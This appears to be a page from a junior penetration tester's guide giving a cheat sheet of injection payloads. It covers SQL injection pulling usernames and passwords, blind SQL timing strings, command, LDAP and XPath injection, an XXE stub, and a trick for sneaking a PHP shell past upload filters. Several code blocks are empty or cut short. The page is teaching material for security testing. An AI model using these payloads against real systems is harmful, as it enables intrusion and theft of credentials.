> For the complete documentation index, see [llms.txt](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/basic-injection-cheat-sheet.md).
# Basic injection cheat sheet
example payloads for different well-known types of injection attacks:
**1. SQL Injection Payloads:**
* **Union-Based SQL Injection Payload:** Use this payload to extract data through a UNION statement.
* ```graphql
' UNION SELECT null, username, password FROM users --
```
* **Blind SQL Injection Payload (Boolean-Based):** Use this payload for Boolean-based blind SQL injection.
* ```scss
' OR IF(1=1, SLEEP(5), 0) --
```
* **Blind SQL Injection Payload (Time-Based):** Use this payload for time-based blind SQL injection.
```
' OR IF(1=1, BENCHMARK(5000000,MD5(CHAR(115,113,108,109))), 0) --
```
**2. Cross-Site Scripting (XSS) Payloads:**
* **Basic Stored XSS Payload:** Use this payload to perform a stored XSS attack.
* ```php-template
```
* **DOM-based XSS Payload:** Use this payload to exploit DOM-based XSS vulnerabilities.
```
```
**3. Command Injection Payload:**
* **Basic Command Injection Payload:** Use this payload to test for command injection vulnerabilities.
* ```bash
; ls
```
**4. XML Injection Payloads:**
* **Entity Expansion XML Payload:** Use this payload to test for XML entity expansion vulnerabilities.
* ```xml
]>
&xxe;
```
**5. Cross-Site Request Forgery (CSRF) Payloads:**
* **Basic CSRF Payload:** Use this payload to create a basic CSRF attack.
* ```html
```
**6. LDAP Injection Payload:**
* **Basic LDAP Injection Payload:** Use this payload to test for LDAP injection vulnerabilities.
* ```scss
(|(sn=*))(&)(uid=admin)
```
**7. XPath Injection Payload:**
* **Basic XPath Injection Payload:** Use this payload to test for XPath injection vulnerabilities.
* ```bash
' or 1=1 or 'a'='a
```
#### 8. RCE on PHP web app
```
```
Adding magic bytes to the beginning of the code and changing the title from shell.php to shell.php.png can potentially bypass upload filters.
